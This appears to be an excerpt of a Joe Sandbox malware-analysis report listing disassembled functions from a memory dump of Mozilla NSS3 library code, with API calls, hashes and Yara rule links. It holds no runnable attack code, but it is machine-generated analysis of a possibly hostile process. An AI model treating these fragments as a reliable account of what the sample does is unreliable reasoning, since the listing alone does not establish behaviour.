Part of subcall function 6C63AB10: free.MOZGLUE(D958E836,?,6C63B1EE,2404110F,?,?), ref: 6C63AB49
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(5D5E6C83), ref: 6C63AB5C
Part of subcall function 6C63AB10: free.MOZGLUE(5D5E6C77), ref: 6C63AB63
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C63AB6F
Part of subcall function 6C63AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C63AB76

TlsGetValue.KERNEL32(?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63E029
PK11_IsLoggedIn.NSS3 ref: 6C63E046

Part of subcall function 6C648F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
Part of subcall function 6C648F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
Part of subcall function 6C648F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
Part of subcall function 6C648F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
Part of subcall function 6C648F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

PR_Unlock.NSS3(?,?,?,?,6C63B266,6C6415C6,?,?,6C6415C6), ref: 6C63E149

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 414030801e8c0faae4e8c4706d729e9c451dad8f42f9f2ee29afcaf1e9604bba
Instruction ID: cdb7dfcd2ae66ff8f73a41f00ae8a626e9f83e72829ecf9833b42059112fc11b
Opcode Fuzzy Hash: 414030801e8c0faae4e8c4706d729e9c451dad8f42f9f2ee29afcaf1e9604bba
Instruction Fuzzy Hash: 39514770600621CFDB109F29C58476ABBF0FF49309F15A86DD89D8B751D735E884CBAA

Function 6C64BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C64BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C629F71,?,?,00000000), ref: 6C64BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C64C014

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: e0c3d83a331428fdec45d69d6355da7e935505fee1cbf0033bea8df770dcd9b8
Instruction ID: 90ab4760270690e6936e27ef7f023681b8dbd3845e4144403af8717b69b70433
Opcode Fuzzy Hash: e0c3d83a331428fdec45d69d6355da7e935505fee1cbf0033bea8df770dcd9b8
Instruction Fuzzy Hash: 4141D571A016059BEB00DE66DC40BAE73B9AF86308F50C138D91DD7B41FB31D905CBA9

Function 6C61EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C61EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C61EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C61EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61EEEB
free.MOZGLUE(?), ref: 6C61EEF6

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction ID: 80cc1783d6c4c3532fb287662377bed0a894c981d85fcbdf6995554fb686a141
Opcode Fuzzy Hash: ead8f599c121bd397c25c73dc1a7c04c56152c2dc76c58900e3a2a4b9d145813
Instruction Fuzzy Hash: 24312871A082009BEB209F2CCC48BA67BF4FB46317F140538E95A87E51D731E815CBE9

Function 6C631F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C631F1C

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C749EBC), ref: 6C631FB8
SEC_ASN1EncodeItem_Util.NSS3(6C749E9C,?,?,6C749E9C), ref: 6C63200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C632020

Part of subcall function 6C626A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C62AD50,?,?), ref: 6C626A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C632030

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 6bf059bb21a8dc91f6e1904408ba9a27aaf5194188e60bbe2287a37711f22f96
Instruction ID: 0c5258d7c31313396cc982e075b2e98f92f165859b70fa8cd6a61804b28d6f05
Opcode Fuzzy Hash: 6bf059bb21a8dc91f6e1904408ba9a27aaf5194188e60bbe2287a37711f22f96
Instruction Fuzzy Hash: 2D21FBB5901622BBE7014A15DD40FAA77A8FF4231CF146215E83C96F81E731E528CBED

Function 6C621DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C621E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C621E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C621E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C621EAD

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: b560244a94bc6a7d2a56f03270d80806fb26e30f87d9e86560a47d92447ff1f8
Instruction ID: e11bc1db8da10a724abb13289133ac42cf92e1187f81a2614f5848e6b4e9a65e
Opcode Fuzzy Hash: b560244a94bc6a7d2a56f03270d80806fb26e30f87d9e86560a47d92447ff1f8
Instruction Fuzzy Hash: D4212872E0C314A7D7008E68DC41B9BB394DB85328F144638EDA957780E735DD0A8BEA

Function 6C641850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6C64002B,?), ref: 6C641875

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

TlsGetValue.KERNEL32(?,?,6C64002B,?), ref: 6C64188E
EnterCriticalSection.KERNEL32(?,?,?,6C64002B,?), ref: 6C6418A7
PR_ExitMonitor.NSS3(?,?,?,?,6C64002B,?), ref: 6C641905
PR_Unlock.NSS3(?,?,?,?,6C64002B,?), ref: 6C641912

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 67543afdf32b253ceacdd0fa857fb3482d2558f8aa23630ffde0ec6c3ad29fc2
Instruction ID: 95f9e7c4c0e55f0d8c5c8c0b5f23ab4aba511f2a4619a17e5aaf2862ac0800a0
Opcode Fuzzy Hash: 67543afdf32b253ceacdd0fa857fb3482d2558f8aa23630ffde0ec6c3ad29fc2
Instruction Fuzzy Hash: 45215174A056159FDB00AF78C084699B7F4FF06358F11CA69D898C7B10E730E8A4CBDA

Function 6C731E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C731E5C

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

PR_Lock.NSS3(00000000), ref: 6C731E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731EAB
PR_GetCurrentThread.NSS3 ref: 6C731ED0
PR_Unlock.NSS3(?), ref: 6C731EE8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 6e566a16b8bb7d38c3f359a2893c9f77511d8f2803c601a790dc6193e583168d
Instruction ID: 26fc6267e61aec871dbebf8b9e165f34c2da498cacc95034e863d9b17ceffab5
Opcode Fuzzy Hash: 6e566a16b8bb7d38c3f359a2893c9f77511d8f2803c601a790dc6193e583168d
Instruction Fuzzy Hash: F421FF75B89122ABD700CF29DA40A46B3B8FF45719B259229D8198BB82D732F810CBD5

Function 6C67BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?,?), ref: 6C67BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEEB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 6ca8c04088e085d73b798b85fb89bfbb6a125b850444f1b886910213e2586a3f
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: C0112F66B04305A7E7208965AC80F6B73AD9BC1B98F040825FE04C2B52E721D8048BFE

Function 6C62AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADA7

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADB4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C623FFF,?,?,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000), ref: 6C62ADD5

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7494B0,?,?,?,?,?,?,?,?,6C623FFF,00000000,?), ref: 6C62ADEC

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C623FFF), ref: 6C62AE3C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction ID: 693575b85f836b54c7f34efb04fcfb07c88b54ea976674490eebd194bb69ec92
Opcode Fuzzy Hash: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction Fuzzy Hash: 81117B71E003081BE7109B649C00BBF73E8DF9224CF00452CEC6596742FB64E95986FE

Function 6C67F860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C67F893

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6366A0), ref: 6C67F8AA

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F8B9

Part of subcall function 6C681200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C681228
Part of subcall function 6C681200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C681238
Part of subcall function 6C681200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68124B
Part of subcall function 6C681200: PR_CallOnce.NSS3(6C782AA4,6C6812D0,00000000,00000000,00000000,?,6C6288A4,00000000,00000000), ref: 6C68125D
Part of subcall function 6C681200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C68126F
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C681280
Part of subcall function 6C681200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C68128E
Part of subcall function 6C681200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C68129A
Part of subcall function 6C681200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6812A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C67F8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7518E0), ref: 6C67F905

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: ffed6ade283e31578f909fb6ef4205f9102776906c32b9a2d53d21fde16cff49
Instruction ID: b0a81203196291faae31f00db91c3d91e435ef3316299dd178285cd5bfd25706
Opcode Fuzzy Hash: ffed6ade283e31578f909fb6ef4205f9102776906c32b9a2d53d21fde16cff49
Instruction Fuzzy Hash: 36110462A01304ABE3109B259D41FAB7AE8AF86798F004A29E81487641FB71D50883FB

Function 6C638FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C640710), ref: 6C638FF1
PR_CallOnce.NSS3(6C782158,6C639150,00000000,?,?,?,6C639138,?,6C640710), ref: 6C639029
calloc.MOZGLUE(00000001,00000000,?,?,6C640710), ref: 6C63904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C640710), ref: 6C639066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C640710), ref: 6C639078

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction ID: 878905fd87245350ffbfb222b3d5235dc5b205099e609124fd17a7d6a407f006
Opcode Fuzzy Hash: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction Fuzzy Hash: 4311487170613157E72016AD9C04AA632ACEB827ADF502039FD4CC2B41FB1ACD45CBA9

Function 6C64CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C661E10: TlsGetValue.KERNEL32 ref: 6C661E36
Part of subcall function 6C661E10: EnterCriticalSection.KERNEL32(?,?,?,6C63B1EE,2404110F,?,?), ref: 6C661E4B
Part of subcall function 6C661E10: PR_Unlock.NSS3 ref: 6C661E76

free.MOZGLUE(?,6C64D079,00000000,00000001), ref: 6C64CDA5
PK11_FreeSymKey.NSS3(?,6C64D079,00000000,00000001), ref: 6C64CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C64D079,00000000,00000001), ref: 6C64CDCF
DeleteCriticalSection.KERNEL32(?,6C64D079,00000000,00000001), ref: 6C64CDE2
free.MOZGLUE(?), ref: 6C64CDE9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
